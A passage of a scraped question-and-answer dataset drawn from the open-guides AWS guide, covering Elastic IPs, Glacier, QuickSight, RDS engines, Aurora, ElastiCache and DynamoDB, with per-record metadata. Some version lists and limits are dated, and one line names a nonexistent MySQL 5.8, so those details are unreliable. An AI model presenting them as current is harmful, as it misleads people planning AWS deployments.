"2026-01-16T23:28:20.977666"}
{"id": "gh_67eb954d4cf9", "question": "How to: Elastic IP Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) ∙ [FAQ](https://aws.amazon.com/ec2/faqs/#Elastic_IP) ∙ [Pricing](https://aws.amazon.com/ec2/pricing/on-demand/#Elastic_IP_Addresses)\n-\t**Elastic IPs** are static IP addresses you can rent from AWS to assign to EC2 instances.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977672"}
{"id": "gh_ed89d420b4ea", "question": "How to: Elastic IP Tips", "question_body": "About open-guides/og-aws", "answer": "-\t🔹**Prefer load balancers to elastic IPs:** For single-instance deployments, you could just assign elastic IP to an instance, give that IP a DNS name, and consider that your deployment. Most of the time, you should provision a [load balancer](#load-balancers) instead:\n\t-\tIt’s easy to add and remove instances from load balancers. It’s also quicker to add or remove instances from a load balancer than to reassign an elastic IP.\n\t-\tIt’s more convenient to point DNS records to load balancers, instead of pointing them to specific IPs you manage manually. They can also be Route 53 aliases, which are easier to change and manage.\n\t-\tBut in some situations, you do need to manage and fix IP addresses of EC2 instances, for example if a customer needs a fixed IP. These situations require elastic IPs.\n-\tElastic IPs are limited to 5 per account. It’s possible to [request more](https://console.aws.amazon.com/support/home#/case/create?issueType=service-limit-increase&limitType=service-code-elastic-ips-ec2-classic).\n-\tIf an Elastic IP is not attached to an active resource there is a small [hourly fee](https://aws.amazon.com/ec2/pricing/on-demand/#Elastic_IP_Addresses).\n-\tElastic IPs are [no extra charge](https://aws.amazon.com/ec2/pricing/on-demand/#Elastic_IP_Addresses) as long as you’re using them. They have a (small) cost when not in use, which is a mechanism to prevent people from squatting on excessive numbers of IP addresses.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977681"}
{"id": "gh_00e62c6ac2b8", "question": "How to: Elastic IP Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-\t🔸There is [officially no way](https://forums.aws.amazon.com/thread.jspa?threadID=171550) to allocate a contiguous block of IP addresses, something you may desire when giving IPs to external users. Though when allocating at once, you may get lucky and have some be part of the same CIDR block. If this is important to you, you may want to [bring your own IP](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-byoip.html), which is more involved than this guide will go into.\n-\tUnofficially, if you have Enterprise support, you can ask your account rep to try to allocate a block of Elastic IPs with a business justification. For example, some of [Duo's fixed ranges](https://help.duo.com/s/article/1337?language=en_US) are [blocks of AWS IP space reassigned to `AWS-DUOSECURITYINC`](https://search.arin.net/rdap/?query=54.241.191.128). This is a best effort request, expect a denial. \n\nGlacier\n-------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977688"}
{"id": "gh_cf9abda51dba", "question": "How to: Glacier Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/glacier/) ∙ [Developer guide](http://docs.aws.amazon.com/amazonglacier/latest/dev/) ∙ [FAQ](https://aws.amazon.com/glacier/faqs/) ∙ [Pricing](https://aws.amazon.com/glacier/pricing/)\n-\t**Glacier** is a lower-cost alternative to S3 when data is infrequently accessed, such as for archival purposes.\n-\tIt’s only useful for data that is rarely accessed. It generally takes [3-5 hours](https://aws.amazon.com/glacier/faqs/#dataretrievals) to fulfill a retrieval request.\n-\tAWS [has not officially revealed](https://en.wikipedia.org/wiki/Amazon_Glacier#Storage) the storage media used by Glacier; it may be low-spin hard drives or even tapes.\n-\tAWS has released an even more cost effective storate tier called [Glacier Deep Archive](https://aws.amazon.com/blogs/aws/new-amazon-s3-storage-class-glacier-deep-archive/) that offers ~12 hour retrieval latencies, but costs roughly a thousand dollars per month per petabyte.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977695"}
{"id": "gh_740a2ffaa3b3", "question": "How to: Glacier Tips", "question_body": "About open-guides/og-aws", "answer": "-\tYou can physically [ship](https://aws.amazon.com/blogs/aws/send-us-that-data/) your data to Amazon to put on Glacier on a USB or eSATA HDD.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977700"}
{"id": "gh_a3f98a068a55", "question": "How to: Glacier Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-\t🔸Getting files off Glacier is glacially slow (typically 3-5 hours or more).\n-\t🔸Due to a fixed overhead per file (you pay per PUT or GET operation), uploading and downloading many small files on/to Glacier might be very expensive. There is also a 32k storage overhead per file. Hence it’s a good idea is to archive files before upload.\n-\t💸Be aware of the per-object costs of archiving S3 data to Glacier. [It costs $0.05 per 1,000 requests](https://aws.amazon.com/s3/pricing/). If you have large numbers of S3 objects of relatively small size, [it will take time to reach a break-even point](https://alestic.com/2012/12/s3-glacier-costs/) (initial archiving cost versus lower storage pricing).\n\nQuicksight\n----------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977706"}
{"id": "gh_3b47b94f98c8", "question": "How to: Quicksight Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/quicksight/) ∙ [User guide](https://docs.aws.amazon.com/quicksight/latest/user/welcome.html) ∙ [Pricing](https://aws.amazon.com/quicksight/pricing/)\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977711"}
{"id": "gh_58cd7fed5aeb", "question": "How to: Quicksight Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-\t❗Out of the box Quicksight is not able to access tables that are linked to a Schema in the AWS Glue Schema Registry. This is because the auto-generated IAM role `aws-quicksight-service-role-v0` does not have the necessary permissions. You can't pick another role to be used but you can add more permissions to the role. The error message you will receive is an `SQL_EXCEPTION` with details `SYNTAX_ERROR: line 2:8: Column 'columnname' cannot be resolved` where `columnname` is the first column in your table.\n-\t🔸Only QuickSight accounts that were created in the US East (N. Virginia) region can access the QuickSight Forum/Community. And you can only have a QuickSight account in one region per AWS account.\n\nRDS\n---", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977718"}
{"id": "gh_80a83116a200", "question": "How to: RDS Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/rds/) ∙ [User guide](http://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/) ∙ [FAQ](https://aws.amazon.com/rds/faqs/) ∙ [Pricing](https://aws.amazon.com/rds/pricing/) (see also [ec2instances.info/rds/](http://www.ec2instances.info/rds/)\\)\n-\t**RDS** is a managed relational database service, allowing you to deploy and scale databases more easily. It supports [Oracle](https://aws.amazon.com/rds/oracle/), [Microsoft SQL Server](https://aws.amazon.com/rds/sqlserver/), [PostgreSQL](https://aws.amazon.com/rds/postgresql/), [MySQL](https://aws.amazon.com/rds/mysql/), [MariaDB](https://aws.amazon.com/rds/mariadb/), and Amazon’s own [Aurora](https://aws.amazon.com/rds/aurora/).\n-\tRDS offers out of the box support for [high availability and failover](http://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.MultiAZ.html) for your databases.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977724"}
{"id": "gh_6e6909e954c0", "question": "How to: RDS Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-\t⏱RDS instances run on EBS volumes (either general-purpose or provisioned IOPS), and hence are constrained by EBS performance.\n-\t🔸Verify what database features you need, as not everything you might want is available on RDS. For example, if you are using Postgres, check the list of [supported features and extensions](http://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/CHAP_PostgreSQL.html#SQLServer.Concepts.General.FeatureSupport). If the features you need aren't supported by RDS, you'll have to deploy your database yourself.\n-\t🔸If you use the failover support offered by RDS, keep in mind that it is based on DNS changes, and make sure that your client reacts to these changes appropriately. This is particularly important for Java, given how its DNS resolver’s TTL is [configured by default](http://docs.aws.amazon.com/sdk-for-java/v1/developer-guide/java-dg-jvm-ttl.html).\n-\t🔸**DB migration to RDS:** While importing your database into RDS ensure you take into consideration the maintenance window settings. If a backup is running at the same time, your import can take a considerably longer time than you would have expected.\n-\t[Database sizes are limited](https://aws.amazon.com/about-aws/whats-new/2015/06/amazon-rds-increases-storage-limits-to-6TB-for-piops-and-gp2/) to **6TB** for all database engines except for SQL Server which has a **4TB** limit and Aurora which supports up to **64TB** databases.\n\nRDS MySQL and MariaDB\n---------------------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977735"}
{"id": "gh_38f64e519a22", "question": "How to: RDS MySQL and MariaDB Basics", "question_body": "About open-guides/og-aws", "answer": "-      RDS offers MySQL versions 5.5, 5.6, 5.7 and 5.8.\n-      RDS offers MariaDB versions 10.0, 10.1, 10.2 and 10.3.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 36638, "answer_score": 10, "has_code": true, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977740"}
{"id": "gh_68b9ddec67b3", "question": "How to: RDS MySQL and MariaDB Tips", "question_body": "About open-guides/og-aws", "answer": "-\tMySQL RDS allows access to [binary logs](http://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_LogAccess.Concepts.MySQL.html#USER_LogAccess.MySQL.BinaryFormat).\n-\tMulti-AZ instances of MySQL transparently replicate data across AZs using DRBD. Automated backups of multi-AZ instances [run off the backup instance](https://www.percona.com/live/mysql-conference-2014/sessions/rds-mysql-tips-patterns-and-common-pitfalls) to reduce latency spikes on the primary.\n-\t🔸**Performance Schema:** While [Performance Schema](http://dev.mysql.com/doc/refman/en/performance-schema.html) is enabled by default in MySQL 5.6.6 and later, it is disabled by default in all versions of RDS. If you wish to enable Performance Schema, a reboot of the RDS instance will be required.\n-\t🔸**MySQL vs MariaDB vs Aurora:** If you prefer a MySQL-style database but are starting something new, you probably should consider Aurora and MariaDB as well. **Aurora** has increased availability and is the next-generation solution. That said, Aurora [may not be](http://blog.takipi.com/benchmarking-aurora-vs-mysql-is-amazons-new-db-really-5x-faster/) that much faster than MySQL for certain workloads. **MariaDB**, the modern [community fork](https://en.wikipedia.org/wiki/MariaDB) of MySQL, [likely now has the edge over MySQL](http://cloudacademy.com/blog/mariadb-vs-mysql-aws-rds/) for many purposes and is supported by RDS.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977748"}
{"id": "gh_bd656ad9c37a", "question": "How to: RDS MySQL and MariaDB Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-\t🔸**No SUPER privileges.** RDS provides some [stored procedures](http://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Appendix.MySQL.SQLRef.html) to perform some tasks that require SUPER privileges such as starting or stopping replication.\n-\t🔸You can replicate to non-RDS instances of MySQL, but [replication to these instances will break during AZ failovers](https://www.percona.com/live/mysql-conference-2014/sessions/rds-mysql-tips-patterns-and-common-pitfalls).\n-\t🔸There is no ability to manually CHANGE MASTER on replicas, so they must all be rebuilt after a failover of the master.\n-\t🔸Most global options are exposed only via [DB parameter groups](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_WorkingWithParamGroups.html). Some variables that were introduced in later MySQL dot releases such as [avoid_temporal_upgrade](https://dev.mysql.com/doc/refman/5.6/en/server-system-variables.html#sysvar_avoid_temporal_upgrade) in MySQL 5.6.24 are not made available in RDS's 5.6.x parameter group and making use of them requires an upgrade to MySQL 5.7.x.\n-\t🔸RDS features such as Point-In-Time restore and snapshot restore are not supported on MyISAM tables. Ensure you lock and flush each MyISAM table before executing a snapshot or backup operation to ensure consistency.\n\nRDS PostgreSQL\n--------------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977756"}
{"id": "gh_83c86904e1e5", "question": "How to: RDS PostgreSQL Basics", "question_body": "About open-guides/og-aws", "answer": "- RDS offers PostgreSQL 9.3, 9.4, 9.5, 9.6, and 10.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977761"}
{"id": "gh_6e632c2e6bf7", "question": "How to: RDS PostgreSQL Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "- No superuser privileges. RDS provides a role `rds_superuser` that can do most of the needed operations but there are some limitations.\n- Some major features are delayed compared to open source PostgreSQL.\n- By default RDS is spec’d with general purpose SSD , if you need better performance you have to spec provisioned IOPS SSD.\n- You can't use RDS as a replica outside RDS without using logical replication.\n- There are settings that cannot be changed and most of the settings that can change can only be changed using database parameter groups.\n- It’s harder to troubleshoot performance problems since you have no access to the host.\n- Be sure to verify that all the [extensions](https://www.postgresql.org/docs/current/static/view-pg-available-extensions.html) you need are available. If you are using an extension not listed there, you will need to come up with a work around, or deploy your own database in EC2.\n- Many Postgres utilities and maintenance items expect command line access, that can usually be satisfied by using an external ec2 server.\n\nRDS SQL Server\n--------------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977773"}
{"id": "gh_424a5a984b67", "question": "How to: RDS SQL Server Basics", "question_body": "About open-guides/og-aws", "answer": "-\t[RDS offers SQL Server 2008 R2, 2012, 2014, 2016 and 2017](https://aws.amazon.com/rds/sqlserver/) including Express, Web, Standard and Enterprise.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977778"}
{"id": "gh_19ae5aeafeac", "question": "How to: RDS SQL Server Tips", "question_body": "About open-guides/og-aws", "answer": "-\tRecently added support for [backup and restore to/from S3](https://www.brentozar.com/archive/2016/07/holy-cow-amazon-rds-sql-server-just-changed-everything/) which may make it an attractive [DR option](https://aws.amazon.com/blogs/aws/amazon-rds-for-sql-server-support-for-native-backuprestore-to-amazon-s3/) for on-premises installations.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977782"}
{"id": "gh_868ae498df8d", "question": "How to: RDS SQL Server Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-\t🔸The user is granted only db_owner privileges for each database on the instance.\n-\t🔸Storage cannot be expanded for existing databases. If you need more space, you must restore your database on a new instance with larger storage.\n-\t🔸There is a **16TB** database size limit for non-Express editions. There is also a minimum storage size, 20GB for Web and Express, 200GB for Standard and Enterprise.\n-\t🔸Limited to [30 databases per instance](http://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/CHAP_SQLServer.html)\n\nRDS Aurora\n---", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977788"}
{"id": "gh_12860f42b1be", "question": "How to: RDS Aurora Basics", "question_body": "About open-guides/og-aws", "answer": "Aurora is a cloud only database service designed to provide a distributed, fault-tolerant relational database with self-healing storage and auto-scaling up to 64TB per instance.  It currently comes in two versions, a MySQL compatible system, and a PostgreSQL compatible system.\n\nRDS Aurora MySQL\n----------------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977794"}
{"id": "gh_60f16abc4625", "question": "How to: RDS Aurora MySQL Basics", "question_body": "About open-guides/og-aws", "answer": "-\tAmazon’s proprietary fork of MySQL intended to scale up for high concurrency workloads. Generally speaking, individual query performance under Aurora is not expected to improve significantly relative to MySQL or MariaDB, but Aurora is intended to maintain performance while executing many more queries concurrently than an equivalent MySQL or MariaDB server could handle.\n-\t[Notable new features](http://www.slideshare.net/AmazonWebServices/amazon-aurora-amazons-new-relational-database-engine) include:\n\t-\tLog-structured storage instead of B-trees to improve write performance.\n\t-\tOut-of-process buffer pool so that databases instances can be restarted without clearing the buffer pool.\n\t-\tThe underlying physical storage is a specialized SSD array that automatically maintains 6 copies of your data across 3 AZs.\n\t-\tAurora read replicas share the storage layer with the write master which significantly reduces replica lag, eliminates the need for the master to write and distribute the binary log for replication, and allows for zero-data-loss failovers from the master to a replica. The master and all the read replicas that share storage are known collectively as an **Aurora cluster**. Read replicas can span up to [5 regions](https://aws.amazon.com/about-aws/whats-new/2018/09/amazon-aurora-databases-support-up-to-five-cross-region-read-replicas/).\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977801"}
{"id": "gh_cec3c38f2795", "question": "How to: RDS Aurora MySQL Tips", "question_body": "About open-guides/og-aws", "answer": "-\tIn order to take advantage of Aurora’s higher concurrency, applications should be configured with large database connection pools and should execute as many queries concurrently as possible. For example, Aurora servers have been tested to produce increasing performance on some OLTP workloads with [up to 5,000 connections](http://www.slideshare.net/AmazonWebServices/amazon-aurora-amazons-new-relational-database-engine/31).\n-\t[Aurora scales well with multiple CPUs](https://www.percona.com/blog/2016/05/26/aws-aurora-benchmarking-part-2/) and may require a large instance class for optimal performance.\n-\tThe easiest migration path to Aurora is restoring a database snapshot from MySQL 5.6 or 5.7. The next easiest method is restoring a dump from a MySQL-compatible database such as MariaDB. For [low-downtime migrations](https://aws.amazon.com/blogs/aws/amazon-aurora-update-spatial-indexing-and-zero-downtime-patching/) from other MySQL-compatible databases, you can set up an Aurora instance as a replica of your existing database. If none of those methods are options, Amazon offers a fee-based data migration service.\n-\tYou can replicate [from an Aurora cluster to MySQL or to another Aurora cluster](http://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Aurora.Overview.Replication.MySQLReplication.html). This requires binary logging to be enabled and is not as performant as native Aurora replication.\n-\tBecause Aurora read replicas are the [equivalent of a multi-AZ backup](http://stackoverflow.com/a/32428651/129052) and they can be configured as zero-data-loss failover targets, there are fewer scenarios in which the creation of a multi-AZ Aurora instance is required.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977809"}
{"id": "gh_137493dcecff", "question": "How to: RDS Aurora MySQL Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "- 🔸[Aurora 1.x is based on MySQL 5.6.x](https://news.ycombinator.com/item?id=12415693) with some cherry-picking of later MySQL features. It is missing most 5.7 features as well as some online DDL features introduced in 5.6.17.\n- 🔸[Aurora 2.x is based on MySQL 5.7.x](https://aws.amazon.com/about-aws/whats-new/2018/02/amazon-aurora-is-compatible-with-mysql-5-7/)\n- Aurora does not support GTID transactions in either the 5.6/Aurora 1.x or the 5.7/Aurora 2.x release lines.\n- Aurora maximum cluster size is 64 TB\n\nRDS Aurora PostgreSQL\n---------------------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977815"}
{"id": "gh_4a0b10100691", "question": "How to: RDS Aurora PostgreSQL Basics", "question_body": "About open-guides/og-aws", "answer": "- Amazon’s proprietary fork of PostgreSQL, intended to scale up for high concurrency workloads while maintaining ease of use. Currently based on PostgreSQL 9.6.\n- Higher throughput (up to 3x with similar hardware).\n- Automatic storage scale in 10GB increments up to 64TB.\n- Low latency read replicas that share the storage layer with the master which significantly reduces replica lag.\n- Point in time recovery.\n- Fast database snapshots.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977821"}
{"id": "gh_c2112d118c5f", "question": "How to: RDS Aurora PostgreSQL Tips", "question_body": "About open-guides/og-aws", "answer": "- Aurora Postgres by default is supposed to utilize high connection rates and for this reason connection pooling must be configured accordingly.\n- Because Aurora is based on PostgreSQL 9.6, it lacks features like declarative partitioning or logical replication.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977826"}
{"id": "gh_60abba9a6a19", "question": "How to: RDS Aurora PostgreSQL Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "- Aurora PostgreSQL falls behind normal RDS when it comes to available versions, so if you need features from the latest PostgreSQL version you might be better off with plain RDS.\n- Patching and bug fixing is separate from open source PostgreSQL.\n\nElastiCache\n-----------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977833"}
{"id": "gh_606d8138b7db", "question": "How to: ElastiCache Basics", "question_body": "About open-guides/og-aws", "answer": "- 📒 [Homepage](https://aws.amazon.com/elasticache/) ∙ [User\n  guide for Redis](https://docs.aws.amazon.com/AmazonElastiCache/latest/red-ug/index.html) ∙ [User\n  guide for Memcached](https://docs.aws.amazon.com/AmazonElastiCache/latest/mem-ug/index.html) ∙\n  [FAQ](https://aws.amazon.com/elasticache/faqs/) ∙\n  [Pricing](https://aws.amazon.com/elasticache/pricing/)\n- **ElastiCache** is a managed in-memory cache service, that can be used to\n  store temporary data in a fast in-memory cache, typically in order to avoid\n  repeating the same computation multiple times when it could be reused.\n- It supports both the [Memcached](https://memcached.org) and\n  [Redis](https://redis.io) open source in-memory cache software and exposes\n  them both using their native access APIs.\n- The main benefit is that AWS takes care of running, patching and optimizing\n  the cache nodes for you, so you just need to launch a cluster and configure\n  its endpoint in your application, while AWS will take of most of the operational\n  work of running the cache nodes.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977843"}
{"id": "gh_0445dde22a41", "question": "How to: ElastiCache Tips", "question_body": "About open-guides/og-aws", "answer": "- Choose the\n  [engine](https://docs.aws.amazon.com/AmazonElastiCache/latest/red-ug/SelectEngine.html),\n  clustering configuration and [instance\n  type](http://docs.aws.amazon.com/AmazonElastiCache/latest/UserGuide/CacheNodes.SelectSize.html)\n  carefully based on your application needs. The documentation explains in\n  detail the pros, cons and limitations of each engine in order to help you\n  choose the best fit for your application. In a nutshell, Redis is\n  preferable for storing more complex data structures, while Memcached is just a\n  plain key/value store. The simplicity of Memcached allows it to be slightly\n  faster and allows it to scale out if needed, but Redis has more features which\n  you may use in your application.\n- For Memcached AWS provides enhanced SDKs for certain programming languages\n  which implement\n  [auto-discovery](https://docs.aws.amazon.com/AmazonElastiCache/latest/mem-ug/AutoDiscovery.html),\n  a feature not available in the normal memcached client libraries.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977850"}
{"id": "gh_6b311bba433c", "question": "How to: ElastiCache Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "- Since in some cases changing the cache clusters may have some restrictions,\n  like for\n  [scaling](http://docs.aws.amazon.com/AmazonElastiCache/latest/UserGuide/Scaling.html)\n  purposes, it may become a problem if they were launched using CloudFormation\n  in a stack that also contains other resources and you really need to change\n  the cache. In order to avoid getting your CloudFormation stacks in a\n  non-updateable state, it is recommended to launch ElastiCache clusters (just\n  like any other resource with similar constraints) in dedicated stacks which\n  can be replaced entirely with new stacks having the desired configuration.\n\nDynamoDB\n--------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977856"}
{"id": "gh_b5f475514b64", "question": "How to: DynamoDB Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/dynamodb/) ∙ [Developer guide](http://docs.aws.amazon.com/amazondynamodb/latest/developerguide/) ∙ [FAQ](https://aws.amazon.com/dynamodb/faqs/) ∙ [Pricing](https://aws.amazon.com/dynamodb/pricing/)\n-\t**DynamoDB** is a [NoSQL](https://en.wikipedia.org/wiki/NoSQL) database with focuses on speed, flexibility, and scalability.\n-\tDynamoDB is priced on a combination of throughput and storage.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977861"}
{"id": "gh_f29044990fa0", "question": "How to: DynamoDB Alternatives and Lock-in", "question_body": "About open-guides/og-aws", "answer": "-\t⛓ Unlike the technologies behind many other Amazon products, DynamoDB is a proprietary AWS product with no interface-compatible alternative available as an open source project. If you tightly couple your application to its API and featureset, it will take significant effort to replace.\n-\tThe most commonly used alternative to DynamoDB is [Cassandra](http://cassandra.apache.org/).\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977866"}
